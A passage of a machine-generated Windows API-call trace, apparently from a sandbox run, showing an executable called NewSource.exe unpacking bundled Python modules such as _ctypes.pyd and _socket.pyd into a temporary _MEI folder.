lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0034.827] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0034.827] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.827] GetFileType (hFile=0x10c) returned 0x1 [0034.827] htonl (hostlong=0x35ba0b00) returned 0xbba35 [0034.828] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x106a35, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0034.828] htonl (hostlong=0xecf70000) returned 0xf7ec [0034.828] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xf7ec) returned 0x560088 [0034.828] htonl (hostlong=0xecf70000) returned 0xf7ec [0034.828] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fcd58*=0xf000, lpOverlapped=0x0) returned 1 [0034.828] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0034.828] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0034.829] htonl (hostlong=0x200) returned 0x20000 [0034.829] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x20000) returned 0x56f880 [0034.829] htonl (hostlong=0xecf70000) returned 0xf7ec [0034.829] htonl (hostlong=0x200) returned 0x20000 [0034.829] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x58f888 [0034.832] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x58f888 | out: hHeap=0x530000) returned 1 [0034.832] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0034.832] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0034.832] CloseHandle (hObject=0x10c) returned 1 [0034.833] GetLastError () returned 0x0 [0034.833] SetLastError (dwErrCode=0x0) [0034.833] GetLastError () returned 0x0 [0034.833] SetLastError (dwErrCode=0x0) [0034.833] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\_cffi_backend.pyd") returned 63 [0034.833] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\_cffi_backend.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\_cffi_backend.pyd"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0034.833] GetLastError () returned 0x2 [0034.833] SetLastError (dwErrCode=0x2) [0034.833] GetLastError () returned 0x2 [0034.833] SetLastError (dwErrCode=0x2) [0034.833] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\_cffi_backend.pyd", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\_cffi_backend.pyd", lpFilePart=0x0) returned 0x3e [0034.833] GetLastError () returned 0x2 [0034.833] SetLastError (dwErrCode=0x2) [0034.833] GetLastError () returned 0x2 [0034.833] SetLastError (dwErrCode=0x2) [0034.833] GetLastError () returned 0x2 [0034.833] SetLastError (dwErrCode=0x2) [0034.833] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\_cffi_backend.pyd") returned 63 [0034.833] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0034.833] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\_cffi_backend.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\_cffi_backend.pyd"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.833] GetFileType (hFile=0x10c) returned 0x1 [0034.833] htonl (hostlong=0x200) returned 0x20000 [0034.833] WriteFile (in: hFile=0x10c, lpBuffer=0x56f880*, nNumberOfBytesToWrite=0x20000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x56f880*, lpNumberOfBytesWritten=0x4fcd00*=0x20000, lpOverlapped=0x0) returned 1 [0034.836] CloseHandle (hObject=0x10c) returned 1 [0034.839] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x56f880 | out: hHeap=0x530000) returned 1 [0034.839] htonl (hostlong=0x30000000) returned 0x30 [0034.839] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0034.839] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0034.839] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.839] GetFileType (hFile=0x10c) returned 0x1 [0034.839] htonl (hostlong=0x21b20c00) returned 0xcb221 [0034.839] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x116221, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0034.839] htonl (hostlong=0xa4a20000) returned 0xa2a4 [0034.839] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa2a4) returned 0x560088 [0034.839] htonl (hostlong=0xa4a20000) returned 0xa2a4 [0034.840] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0xa000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fcd58*=0xa000, lpOverlapped=0x0) returned 1 [0034.840] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0034.840] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0034.840] htonl (hostlong=0x6a0100) returned 0x16a00 [0034.840] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x16a00) returned 0x56a338 [0034.840] htonl (hostlong=0xa4a20000) returned 0xa2a4 [0034.840] htonl (hostlong=0x6a0100) returned 0x16a00 [0034.840] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x580d40 [0034.841] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x580d40 | out: hHeap=0x530000) returned 1 [0034.841] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0034.842] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0034.842] CloseHandle (hObject=0x10c) returned 1 [0034.842] GetLastError () returned 0x0 [0034.842] SetLastError (dwErrCode=0x0) [0034.842] GetLastError () returned 0x0 [0034.842] SetLastError (dwErrCode=0x0) [0034.842] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\_ctypes.pyd") returned 57 [0034.842] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\_ctypes.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\_ctypes.pyd"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0034.842] GetLastError () returned 0x2 [0034.842] SetLastError (dwErrCode=0x2) [0034.842] GetLastError () returned 0x2 [0034.842] SetLastError (dwErrCode=0x2) [0034.842] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\_ctypes.pyd", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\_ctypes.pyd", lpFilePart=0x0) returned 0x38 [0034.842] GetLastError () returned 0x2 [0034.842] SetLastError (dwErrCode=0x2) [0034.842] GetLastError () returned 0x2 [0034.842] SetLastError (dwErrCode=0x2) [0034.842] GetLastError () returned 0x2 [0034.842] SetLastError (dwErrCode=0x2) [0034.842] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\_ctypes.pyd") returned 57 [0034.842] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0034.842] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\_ctypes.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\_ctypes.pyd"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.843] GetFileType (hFile=0x10c) returned 0x1 [0034.843] htonl (hostlong=0x6a0100) returned 0x16a00 [0034.843] WriteFile (in: hFile=0x10c, lpBuffer=0x56a338*, nNumberOfBytesToWrite=0x16000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x56a338*, lpNumberOfBytesWritten=0x4fcd00*=0x16000, lpOverlapped=0x0) returned 1 [0034.845] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0034.845] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xa00, lpOverlapped=0x0) returned 1 [0034.845] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0034.845] CloseHandle (hObject=0x10c) returned 1 [0034.848] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x56a338 | out: hHeap=0x530000) returned 1 [0034.848] htonl (hostlong=0x20000000) returned 0x20 [0034.848] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0034.848] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0034.848] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.848] GetFileType (hFile=0x10c) returned 0x1 [0034.848] htonl (hostlong=0xc5540d00) returned 0xd54c5 [0034.848] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x1204c5, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0034.848] htonl (hostlong=0xfbe60700) returned 0x7e6fb [0034.848] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x7e6fb) returned 0x560088 [0034.850] htonl (hostlong=0xfbe60700) returned 0x7e6fb [0034.850] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x7e000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fcd58*=0x7e000, lpOverlapped=0x0) returned 1 [0034.857] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0034.857] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0034.857] htonl (hostlong=0xba1000) returned 0x10ba00 [0034.857] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10ba00) returned 0xc37020 [0034.859] htonl (hostlong=0xfbe60700) returned 0x7e6fb [0034.859] htonl (hostlong=0xba1000) returned 0x10ba00 [0034.859] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x5de790 [0034.880] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5de790 | out: hHeap=0x530000) returned 1 [0034.880] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0034.883] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0034.883] CloseHandle (hObject=0x10c) returned 1 [0034.883] GetLastError () returned 0x0 [0034.883] SetLastError (dwErrCode=0x0) [0034.884] GetLastError () returned 0x0 [0034.884] SetLastError (dwErrCode=0x0) [0034.884] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\_hashlib.pyd") returned 58 [0034.884] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\_hashlib.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\_hashlib.pyd"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0034.884] GetLastError () returned 0x2 [0034.884] SetLastError (dwErrCode=0x2) [0034.884] GetLastError () returned 0x2 [0034.884] SetLastError (dwErrCode=0x2) [0034.884] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\_hashlib.pyd", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\_hashlib.pyd", lpFilePart=0x0) returned 0x39 [0034.884] GetLastError () returned 0x2 [0034.884] SetLastError (dwErrCode=0x2) [0034.884] GetLastError () returned 0x2 [0034.884] SetLastError (dwErrCode=0x2) [0034.884] GetLastError () returned 0x2 [0034.884] SetLastError (dwErrCode=0x2) [0034.884] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\_hashlib.pyd") returned 58 [0034.884] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0034.884] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\_hashlib.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\_hashlib.pyd"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.886] GetFileType (hFile=0x10c) returned 0x1 [0034.886] htonl (hostlong=0xba1000) returned 0x10ba00 [0034.886] WriteFile (in: hFile=0x10c, lpBuffer=0xc37020*, nNumberOfBytesToWrite=0x10b000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0xc37020*, lpNumberOfBytesWritten=0x4fcd00*=0x10b000, lpOverlapped=0x0) returned 1 [0034.906] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0034.906] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xa00, lpOverlapped=0x0) returned 1 [0034.906] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0034.906] CloseHandle (hObject=0x10c) returned 1 [0034.929] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0xc37020 | out: hHeap=0x530000) returned 1 [0034.934] htonl (hostlong=0x20000000) returned 0x20 [0034.934] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0034.934] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0034.934] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.934] GetFileType (hFile=0x10c) returned 0x1 [0034.934] htonl (hostlong=0xc03b1500) returned 0x153bc0 [0034.934] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x19ebc0, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0034.934] htonl (hostlong=0xeb550000) returned 0x55eb [0034.934] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x55eb) returned 0x560088 [0034.934] htonl (hostlong=0xeb550000) returned 0x55eb [0034.934] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x5000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fcd58*=0x5000, lpOverlapped=0x0) returned 1 [0034.935] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x565680 [0034.935] ReadFile (in: hFile=0x10c, lpBuffer=0x565680, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x565680*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0034.935] htonl (hostlong=0xb60000) returned 0xb600 [0034.935] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb600) returned 0x566688 [0034.935] htonl (hostlong=0xeb550000) returned 0x55eb [0034.935] htonl (hostlong=0xb60000) returned 0xb600 [0034.935] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x55d270 [0034.936] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0034.936] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0034.936] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x565680 | out: hHeap=0x530000) returned 1 [0034.936] CloseHandle (hObject=0x10c) returned 1 [0034.936] GetLastError () returned 0x0 [0034.936] SetLastError (dwErrCode=0x0) [0034.936] GetLastError () returned 0x0 [0034.936] SetLastError (dwErrCode=0x0) [0034.936] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\_socket.pyd") returned 57 [0034.936] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\_socket.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\_socket.pyd"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0034.936] GetLastError () returned 0x2 [0034.936] SetLastError (dwErrCode=0x2) [0034.936] GetLastError () returned 0x2 [0034.936] SetLastError (dwErrCode=0x2) [0034.936] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\_socket.pyd", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\_socket.pyd", lpFilePart=0x0) returned 0x38 [0034.936] GetLastError () returned 0x2 [0034.936] SetLastError (dwErrCode=0x2) [0034.936] GetLastError () returned 0x2 [0034.936] SetLastError (dwErrCode=0x2) [0034.936] GetLastError () returned 0x2 [0034.937] SetLastError (dwErrCode=0x2) [0034.937] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\_socket.pyd") returned 57 [0034.937] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0034.937] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\_socket.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\_socket.pyd"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.937] GetFileType (hFile=0x10c) returned 0x1 [0034.937] htonl (hostlong=0xb60000) returned 0xb600 [0034.937] WriteFile (in: hFile=0x10c, lpBuffer=0x566688*, nNumberOfBytesToWrite=0xb000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x566688*, lpNumberOfBytesWritten=0x4fcd00*=0xb000, lpOverlapped=0x0) returned 1 [0034.938] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x571c90 [0034.938] WriteFile (in: hFile=0x10c, lpBuffer=0x571c90*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x571c90*, lpNumberOfBytesWritten=0x4fcd6c*=0x600, lpOverlapped=0x0) returned 1 [0034.939] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x571c90 | out: hHeap=0x530000) returned 1 [0034.939] CloseHandle (hObject=0x10c) returned 1 [0034.940] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x566688 | out: hHeap=0x530000) returned 1 [0034.940] htonl (hostlong=0x20000000) returned 0x20 [0034.940] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0034.940] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0034.941] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.941] GetFileType (hFile=0x10c) returned 0x1 [0034.941] htonl (hostlong=0xab911500) returned 0x1591ab [0034.941] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x1a41ab, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0034.941] htonl (hostlong=0x60630a00) returned 0xa6360 [0034.941] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa6360) returned 0xc35020 [0034.942] htonl (hostlong=0x60630a00) returned 0xa6360 [0034.942] ReadFile (in: hFile=0x10c, lpBuffer=0xc35020, nNumberOfBytesToRead=0xa6000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0xc35020*, lpNumberOfBytesRead=0x4fcd58*=0xa6000, lpOverlapped=0x0) returned 1 [0034.963] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0034.963] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0034.963] htonl (hostlong=0x9a1500) returned 0x159a00 [0034.963] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x159a00) returned 0x21b6020 [0034.966] htonl (hostlong=0x60630a00) returned 0xa6360 [0034.966] htonl (hostlong=0x9a1500) returned 0x159a00 [0034.966] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0034.994] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0034.994] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0xc35020 | out: hHeap=0x530000) returned 1 [0034.997] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0034.997] CloseHandle (hObject=0x10c) returned 1 [0034.997] GetLastError () returned 0x0 